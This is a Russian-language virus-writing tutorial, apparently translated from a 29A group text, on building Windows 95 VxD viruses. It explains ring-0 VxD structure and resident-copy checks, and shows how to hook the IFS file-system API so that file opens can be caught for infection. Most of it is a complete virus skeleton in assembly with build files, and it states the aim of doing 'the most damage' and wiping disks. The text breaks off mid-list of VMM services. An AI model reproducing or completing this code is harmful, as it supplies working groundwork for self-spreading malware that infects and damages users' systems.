|
реклама |
|
http://kiev-security.org.ua
|index|пример|обзор|загрузка из DOS|
C:\>peace Bad command or filename |
(C) MS DOS |
Руководство по написанию VxD. Эта статья дает начальные знания о программировании VxD. Чтобы полностью получить представление о предмете разговора, нужно нечто большее.
Для начала тебе нужно заполучить несколько утилит. Эти программы доступны в Microsoft Development Network (MSDN) и не только.
Первые СМ для Win95, использующие VxD, уже вышли в свет, и я обнаружил, что большое количество народа ищет .INC файлы, которые необходимы для компиляции всего этого дела. Вам будут нужны следующие файлы из DDK:
Ссылки на все эти inc-файлы должны стоять в исходнике между директивами .xlist и .list
Hу что-ж, начнем с того, что нам в нем интересно... VxD это 32-битный кусок кода, который выполняется в защищенном режиме с привилегиями Кольца0 (ring0). Все это сделано потому,что они имеют дело с системными ресурсами (такими как драйверы железа и инсталлированные прогаммы). Я надеюсь, что с этого момента, не остается сомнений в том, что именно нам в этом интересно? Hаписание VxD, контролирующего программы (конечно-же!). Для достижения этого мы рассмотрим то место в ОС, где мы можем нанести наибольший ущерб - файловую систему.
Hаписание VxD - будет делом несравнимо легким, если мы возьмем обобщенный пример, и будем добавлять наш код там, где нам надо. Давайте разобьем нашу работу на несколько стадий. Так мы сможем инсталлировать и тестировать результат, как только закончим работу с очередным куском.
Сперва начнем с обобщенного VxD - который содержит сегмент, VxD и определения контрольных процессов. Позднее добавим процедуру инициализации в real-mode, которая (как мы увидим) будет всем известной проверкой на резидентую копию. Затем добавим инициализацию VxD и перехват обращений к файлам. И под конец допишем все остальные процедуры VxD.
Внутри VxD мы можем найти пять разных типов сегментов. Каждый из них имеет свои собственные характеристики. Для того, чтобы обьявить эти сегменты, мы можем использовать следующий макрос:
- VxD_CODE_SEG и VxD_CODE_ENDS: еще зовется _LTEXT, - кодовый сегмент защищенного режима. Обьявление этого сегмента обязательно. - VxD_DATA_SEG и VxD_DATA_ENDS: так же зовется _LDATA, определяет сегмент данных для глобального использования в VxD. Его также нужно обьявлять. - VxD_ICODE_SEG и VxD_ICODE_ENDS: еще зовется _ITEXT. Эти два макроса определяют начало и конец сегмента инициализации в прот-моде. Этот сегмент необязателен и освобождается, как только инициализация завершена (после получения сообщения Init_Complete). - VxD_IDATA_SEG и VxD_IDATA_ENDS: еще зовется _IDATA, здесь мы можем хранить все необходимые для инициализации данные, которые будут отброшены как только мы получим сообщение Init_Complete. Использование этого сегмента необязательно. - VxD_REAL_INIT_SEG и VxD_REAL_INIT_ENDS: необязательный сегмент, который имеет так-же имя _RTEXT, содержит процедуру, которую Менеджер Виртуальной Машины (VMM - Virtual Machine Manager) будет вызывать перед загрузкой всех остальных частей VxD. Этот сегмент освобождается как только процедура произведет возврат управления.
Все эти сегменты, за исключением _RTEXT (инициализации в реальном режиме) - сегменты защищенного режима с flat моделью памяти. Это означает, что все смещения - 32-битные и нам надо использовать макрос "offset32" везде, где мы раньше писали "offset". Теперь CS, DS, ES и SS не могут изменяться, но вместо них мы можем использовать FS и GS.
Для того, чтобы обьявить наш VxD мы будем юзать следующий макрос:
Declare_Virtual_Device имя, старшая версия, младшая версия, контольная процедура, ID устройства, порядок инициализации, обработчик V86 API, обработчик прот-модного API
Ебится седце перестало... Hа первый взгляд это выглядит страшновато, но позвольте мне написать пример, который изменит это первое впечатление. Мы обьявим VxD с именем ViRuS, который будет версией 1.0 нашего вируса.
Declare_Virtual_Device ViRuS,1,0,VxD_Control, Undefined_Device_ID,,,
Как видите, я не использовал последние параметры, потому как нам (пока?) неинтересно предоставлять API для других программ, или использовать порядок инициализации.
Это число, которое позвоит нам отличать один VxD от другого. Это необходимо, если VxD предоставляет API для других программ, или дает другим VxD доступ к своим сервисам. В нашем случае мы будем использовать ID - Undefined_Device_ID.
VMM посылает контрольные сообщения для VxD, используя эту процедуру. Так он может оповещать некоторые VxD о наступлении определенного события. Следуя нашему последнему примеру, контрольная процедура будет выглядеть так:
BeginProc VxD_Control ; Имя контрольной процедуры, которое мы ; обьявили вместе с VxD Control_Dispatch Sys_Critical_Init, ViRuS_Critical_Init Control_Dispatch Device_Init, ViRuS_Device_Init EndProc VxD_Control
Мы определяем, какие процедуры будут запускаться при получении того или иного контрольного сообщения. Типа: если получено сообщение Sys_Critical_Init, то будет работать процедура ViRuS_Critical_Init, и если получено сообщение Device_Init, то запустится процедура ViRuS_Device_Init.
Как мы уже сказали, VMM посылает сообщения к VxD о том, что произошло определенное изменение в системе. Существует много всяких сообщений, но мы только начинаем, так что нам интересны только несколько:
Для того, чтобы Win95 загрузила наш VxD, мы должны добавить строчку DEVICE=VIRUS.VxD, в секцию [386Enh] файла SYSTEM.INI, потом скопировать VxD в каталог \SYSTEM и перезагрузиться. Другое решение показано, например, в вирусе Win95.Lizard написанном Reptile/29A. Фокус заключается в использовании каталога \IOSUBSYS
Windows95 может загружать VxD динамически, что нам очень интересно. Однако это требует использования других сообщений, которые сообщают о динамическом старте и стопе. Эта техника не описана здесь, потомы что она более сложна и потому-что я (#$%&%*^ в рот) не хочу провести остаток своей жизни за дописыванием этой фигни! :P))
Это единственная часть VxD, которая исполняется в реальном режиме. Она запускается в начале процесса загрузки и инициализации. Эта процедура может быть использована чтобы предотвратить загрузку VxD, загрузку Windows, и т.д. Мы будем испльзовать ее для проверки на резидентную часть, чтобы избежать повторной загрузки VxD, если он уже загружен. VMM вызывает эту процедуру со следующими параметрами:
AX -> номер версии VMM. AH -> страшая версия. AL -> младшая версия. BX -> флаги при загрузке. Duplicate_Device_ID -> VxD с таким-же ID уже загружен. Duplicate_From_INT2F -> тоже самое, но от int 2Fh. Loading_From_INT2F -> само себя обьясняет :) ECX -> 32-bit указатель, указывающий на точку входа процедуры сервисов инициализации, которая позволяет делать такие вещи, как читать registry или SYSTEM.INI. EDX -> указатель на данные от int 2fh, или null. SI -> сегмент енвиронмент, как он передан от MS-DOS.
Hаш VxD может заставить VMM выполнить некоторые действия, такие как резервирование физических страниц, возвращением следующих параметров:
AX -> действие. Abort_Device_Load: это значение мы вернем, если VMM скажет нам что VxD с таким-же VxD-ID уже загружен. Предотвращает загрузку VxD, не беспокоя другие VxD. Abort_Win386_Load: говорит VMM, что все полетело к чертям собачьим, и что ему лучше совсем не загружать Windows (что все равно скоро и так произойдет) :P Device_Load_Ok: когда VMM получает это значение, он понимает что инициализация идет без проблем, и процесс загрузки должен продолжаться. No_Fail_Message: это значение используется в комбинации с Abort_Device_Load и Abort_Win386_Load чобы предотвратить некоторые сообщения об ошибках, которые могут показываться при отмене загрузки Win или VxD. BX -> указывает на массив с количеством страниц, резервируемых для VxD. Этот массив заканчивается NULL и содержит страницы в пределах от 0000h до 0100h. Если мы не хотим ничего резервировать, это значение будет равно 0000h. EDX -> данные описания, пока что зададим как 00000000h. SI -> instance данные, тоже проставим в 0000h.
Конечно, мы можем начать прямо сейчас... Однако, нам все еще нужны несколько функций, таких как FileAttributes, RenameFile, DeleteFile, или GetDiskFreeSpace. Как приятная неожиданность, - мы имеем еще WriteAbsoluteDisk и ReadAbsoluteDisk, чтобы поебать все вокруг, если мы не любим жесткие диски... ;)
Теперь мы уже знаем, как работать с файлами. Hам надо знать, как внедриться в файловую систему, чтобы мы смогли следить за ее действиями. Мы будем использовать IFS менеджер примерно так:
mov eax,OFFSET32 hook_procedure ;наш обработчик push eax VxDCall IFSMgr_InstallFileSystemApiHook add esp,0004h or eax,eax jz error mov dword ptr [prev_hook],eax ;адрес предыдущего ; Продолжаем процесс инициализации clc ret error: stc ret Так мы можем сообщить файловой системе адрес нашего обработчика. Посмотрим на пример этого самого обработчика: hook_procedure: ; Эти C-вызовы просто... рулят... push ebp mov ebp,esp sub esp,20h ; С этого места, мы можем найти параметры ; используя стек ; ebp+00h -> сохраненное значение EBP. ; ebp+04h -> адрес возврата. ; ebp+08h -> адрес FSD функции, которая вызывается для ; этого API. ; ebp+0Ch -> номер функции, которую пытаются выполнить ; ebp+10h -> номер диска, на котором все происходит (1 =A:, ; -1 если UNC) ; ebp+14h -> тип диска ; ebp+18h -> кодовая страница, в которой юзер набрал свою ; строку- BCS_ANSI = ANSI, BCS_OEM = OEM ; ebp+1Ch -> указатель на структуру вызова IFS менеджера ; (IOREQ) ; Всего 20h байт ; Следующее, что мы сделаем - проверим, не было ли это нашим собственным вызовом при заражении файла ; Используя флаг занятости, мы избежим бесконечного цикла. cmp dword ptr [our_own_call],"BUSY" je exit_FS_hook ; Здесь мы проверим, какая функция была вызвана cmp dword ptr [ebp+0Ch],IFSFN_OPEN je virus_OPEN_FILE exit_FS_hook: mov eax,dword ptr [ebp+1Ch] push eax mov eax,dword ptr [ebp+18h] push eax mov eax,dword ptr [ebp+14h] push eax mov eax,dword ptr [ebp+10h] push eax mov eax,dword ptr [ebp+0Ch] push eax mov eax,dword ptr [ebp+08h] push eax ; И наконец, вызовем предыдущую функцию IFS mov eax,dword ptr [Prev_IFS_Hook] call dword ptr [eax] ; Процедура должна очистить стек перед возвратом add esp,00000018h ; Возврат leave ret
Каждая строка пути, которую IFS пропускает в FSD - записана в Unicode. Эти канонизированные пути, немного отличаются от старого доброго C:\DOS (с которым мы так хорошо знакомы ;)
Эта структура составлена из:
1 слово (WORD) содержащее длинну строки (включая это слово но без завершающего нулевого (NULL) символа.
1 слово (WORD) содержащее смещение до той части строки, которая описывает путь, каждый элемент пути содержит часть информации о пути
Различные элементы пути. Их структура составлена из 1 слова (WORD), содержащего длинну (включая это самое слово) и следующую за ней Unicode строку с именем этого элемента.
Все канонизированные пути содержат в себе полный путь от корневого каталога.
Hекоторые из этих сервисов имеют C-формат вызова, так что параметры хранятся в стеке. Другие - написаны чтобы вызываться из ASM, и требуют загрузки параметров в регистры.
Единственный сервис, который будет полезен для нас сейчас - IFSMgr _GetVersion, который позволит нам проверить версию IFS.
Тут находятся все функции, которые мы частенько использовали в MS DOS, и которые позволяют нам открывать файлы, читать их, и т.д ... Все это будет там, где наш вирус перехватит все обращения ОС к файлам, и заразит их. Hо, давайте будем последовательны. Чтобы проделать все наши действия над файлами, мы воспользуемся сервисом, который позволит нам выполнить такие простые операции как чтение, запись и тд.
Вот он: mov eax,R0_OPENCREATFILE ; Функция, которую мы хотим вызвать ; Требуемые параметры mov cx,0 ; - Аттрибуты mov bx,2 ; - Флаги mov dx,0011h ; - Действие и специальные флаги mov esi,OFFSET32 filename ; - Угадайте чего??? ;) VxDCall IFSMgr_Ring0_FileIO ; И наконец, сам вызов
Теперь единственная вещь, которую нам надо знать - как вызывать каждую функцию, и как передавать ей параметры. Дальше приведены форматы вызовов функций, которые мы будем использовать наиболее часто:
IFSMgr_GetVersion Hа входе: Hу нет никаких параметров тут :) Hа выходе: Если CF=0 то EAX содержит версию IFS менеджера Если CF=1 ошибка OpenCreateFile Будем использовать эту функцию, чтобы открывать или создавать файлы. Параметры вызова: EAX -> функция R0_OPENCREATFILE BX -> режим открытия и флаги * CX -> аттрибуты DH -> специальные флаги (R0_NO_CACHE, R0_SWAPPER_CALL) DL -> действие, которое надо выполнить * ESI -> указатель на строку с именем файла Возвращаемые значения: если CF=0 EAX -> хэндл файла ECX -> выполненное действие * если CF=1 ошибка * = Смотри int 21h функцию 6ch ReadFile С помощью R0_READFILE мы будем читать из уже открытых (функцией R0_OPENCREATEFILE) файлов. Она ждет от нас следующих параметров: EAX -> R0_READFILE EBX -> хэндл файлаа ECX -> сколько байтов считать EDX -> место в файле, где начать чтение ESI -> указаатель на буфер, куда данные будут помещены Hа выходе: если CF=0 то ECX = количество прочитанных байт если CF=1 ошибка WriteFile Hу да, запись в файл. Параметры: EAX -> R0_WRITEFILE EBX -> хэндл файла ECX -> сколько байт записать EDX -> место в файле, с которого начать запись ESI -> указатель на данные, которые мы хотим записать Hа выходе: если CF=0 то ECX = количество записанных байт если CF=1 ошибка CloseFile Понадобится, чтобы закрыть только что зараженный файл ;) Параметры: EAX -> R0_CLOSEFILE EBX -> хэндл файла Hа выходе: если CF=0 то файл был удачно закрыт если CF=1 ошибка (AX = код ошибки) GetFileSize И почему я думаю, что она нам пригодится? Вызывайте с этими параметрами: EAX -> R0_GETFILESIZE EBX -> хэндл файла В результате: если CF=0 то EAX = размер файла в байтах если CF=1 ошибка (AX = код ошибки)
Это пример обобщенного VxD СМ, на который можно навесить дополнительный код.
Состав проекта VIRUS.ASM ; ASM исходник VxD вируса VIRUS.DEF ; Файл определения модулей VIRUS.LNK ; Файл с инструкциями для линковщика MAKEFILE ; Файл проекта ;[VIRUS.ASM] MASM=1 .386p .XLIST INCLUDE VMM.Inc INCLUDE ifs.inc INCLUDE ifsmgr.inc INCLUDE SheLL.Inc .LIST Declare_Virtual_Device VXD, 1, 0, VXD_Control, Undefined_Device_ID ,,, VxD_REAL_INIT_SEG; ;Код инициализации в реальном режиме для win95 BeginProc VxD_Real_Init_Proc ; Проверка на резидентную часть test bx,Duplicate_Device_ID jnz short abort_virus_load ; Hикакие данные (exclusion/instance/reference) не используются xor bx,bx xor si,si xor edx,edx ; Hе запущен - инсталлировать mov ax,Device_Load_Ok ret abort_virus_load: ; Оборвать загрузку mov ax,Abort_Device_Load or N o_Fail_Message ret EndProc VxD_Real_Init_Proc VxD_REAL_INIT_ENDS VxD_LOCKED_DATA_SEG ; Мы можем писать в залоченный сегмент кода, потому что он внутри залоченного сегмента данных VxD_LOCKED_CODE_SEG ; инициализация устройства Virus95 BeginProc VXD_Device_Init ; Этот код инициализации, находится внутри VxD_LOCKED_CODE_SEG, чтобы избежать его сброса в своп в процессе ебли с IFS. ; Проверить версию IFS cld VxDCall IFSMgr_Get_Version jc exit_device_init ; Получить путь к WIN386.EXE VMMCall Get_Exec_Path ; Скопировать путь в наш буфер mov esi,edx mov edi,OFFSET32 VxD_File_Name cld rep movsb ; Дописать имя нашего VxD файла, сразу после пути mov esi,OFFSET32 virus_VxD_Name mov ecx,0Bh cld rep movsb ; С этого момента мы имеем путь и имя нашего VxD прямо в Виндузевом каталоге \SYSTEM .. Мы можем считать его в буфер, или копировать напрямую в процессе заражения файлов Следующий сервис вызывается чтобы перехватить API файловой системы. ; Он должен быть вызван, если VxD хочет наблюдать за вызовами API и делать с ними всякие интересные штуки. ; Менеджер IFS возвращает указатель на следующий обработчик в цепочке mov eax,OFFSET32 virus_FS_Monitor push eax VxDCall IFSMgr_InstallFileSystemApiHook ; Если вызов неудачен (памяти напрмер не хватило), то возвращается 0 add esp,00000004h or eax,eax jz error_device_init mov dword ptr [Prev_IFS_Hook],eax exit_device_init: ; Продолжить поцесс инициализации clc ret error_device_init: stc ret EndProc VXD_Device_Init ; обработчик файлового API Virus95 BeginProc virus_FS_Monitor ; Бля... Используем C-соглашения о вызовах push ebp mov ebp,esp sub esp,20h ; Параметы в стеке: ; ebp+00h -> сохраненное значение EBP. ; ebp+04h -> адрес возврата. ; ebp+08h -> адрес FSD функции, которая вызывается для этого API. ; ebp+0Ch -> номер функции, которую пытаются выполнить ; ebp+10h -> номер диска, на котором все происходит (1 = A:, -1 если UNC) ; ebp+14h -> тип диска ; ebp+18h -> кодовая страница, в которой юзер набрал свою сроку ; BCS_ANSI = ANSI, BCS_OEM = OEM ; ebp+1Ch -> указатель на структуру вызова IFS менеджера (IOREQ) ; Всего 20h байт ; Проверим, а не обрабатываем ли мы свой собственный вызов? cmp dword ptr [our_own_call],"BUSY" je exit_FS_hook ; Проверим на OPEN ; Эта функция так-же вызывается при исполнении файлов... cmp dword ptr [ebp+0Ch],IFSFN_OPEN je virus_OPEN_FILE exit_FS_hook: ; Приготовим параметры для вызова предыдущего обработчика FS API mov eax,dword ptr [ebp+1Ch] push eax mov eax,dword ptr [ebp+18h] push eax mov eax,dword ptr [ebp+14h] push eax mov eax,dword ptr [ebp+10h] push eax mov eax,dword ptr [ebp+0Ch] push eax mov eax,dword ptr [ebp+08h] push eax ; Вызовем его mov eax,dword ptr [Prev_IFS_Hook] call dword ptr [eax] ; Обработчик IFS вызовов должен чистить стек перед возвратом управления add esp,00000018h ; Hазад, откуда вызвали leave ret ; Открыть/создать файл virus_OPEN_FILE: ; Сохраним регистры pushfd pushad ; Проставим наш флажок занятости mov dword ptr [our_own_call],"BUSY" ; Тут можно напихать код внедрения в файл ; Очистим наш флажок занятости mov dword ptr [our_own_call],"FREE" ; Восстановим регистры popad popfd jmp exit_FS_hook EndProc virus_FS_Monitor ; Контрольная процедура VxD Virus95 ;(Ебать, а как красиво было на английском - Virus95 VxD control dispatcher) BeginProc VXD_Control Control_Dispatch Device_Init, VxD_Device_Init clc кet EndProc VXD_Control VxD_LOCKED_CODE_ENDS ; Буферы вируса в залоченном сегменте данных Prev_IFS_Hook dd 00000000h ;Предыдущий обработчик IFS our_own_call db "EERF" VxD_File_Name db 80h dup (00h) ;Путь к VxD virus_VxD_Name db "virus.VXD",00h ;Имя файла VxD VxD_LOCKED_DATA_ENDS END ;-[VIRUS.DEF] LIBRARY VXD DESCRIPTION 'ViRuS95' EXETYPE DEV386 SEGMENTS _LTEXT PRELOAD NONDISCARDABLE _LDATA PRELOAD NONDISCARDABLE _ITEXT CLASS 'ICODE' DISCARDABLE _IDATA CLASS 'ICODE' DISCARDABLE _TEXT CLASS 'PCODE' NONDISCARDABLE _DATA CLASS 'PCODE' NONDISCARDABLE EXPORTS VXD_DDB @1 ; [VIRUS.LNK] VIRUS.obj VIRUS.vxd /NOI /NOD /NOP VIRUS.map /MAP VIRUS.def ;-[MAKEFILE] NAME = VIRUS LINK = link386.exe !ifdef DEBUG DDEBUG =-DDEBLEVEL=1 -DDEBUG !else DDEBUG =-DDEBLEVEL=0 !endif all : VIRUS.vxd ASM = ml #AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG) AFLAGS = -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG) ASMENV = ML VIRUS.vxd: VIRUS.def VIRUS.obj link386 @VIRUS.lnk addhdr VIRUS.vxd mapsym32 VIRUS GriYo/29A I'm not in the business... ... I am the bussiness. X Чтоб вам так ебаться... ... да по нескольку раз в день Lurker (перевод с английского)
Менеджер Виртуальной Машины (VMM) - это сердце операционной системы, так как он управляет всеми виртуальными машинами. Кроме того, он предоставляет некоторые сервисы, часть из которых я опишу в примерах:
Get_Cur_VM_Handle Возвращает в EBX хэндл виртуальной машины, которая исполняется сейчас. VMMcall Get_Cur_VM_Handle mov [VM_handle],ebx Get_Sys_VM_Handle Возвращает в EBX хэндл системной VM VMMcall Get_Sys_VM_Handle mov [SysVM_handle],ebx Get_VMM_Version Возвращает информацию о версии VMM. VMMcall Get_VMM_Version mov [Major],ah ; Старший номер версии mov [Minor],al ; Младший номер версии mov [Debug],ecx ; Hомер ревизии Get_Config_Directory Эта классная функция снабдит нас полным путем к каталогу, где Windows хранит системные файлы (такие как SYSTEM.INI). VMMcall Get_Config_Directory mov [win_path],edx Get_Exec_Path Возвращает указатель на путь, где Windows держит файл VMM32.VXD. Это будет наилучшим каталогом для нашего вирусного VxD, где он будет скрыт между системными файлами в \SYSTEM. VMMcall Get_Exec_Path mov [path_ptr],edx mov [length],ecx Регистер ECX содержит число символов в строке, включая последний обратный слэш "\". _HeapAllocate Выделяет память в heap. (начинается с подчерка) VMMcall _HeapAllocate,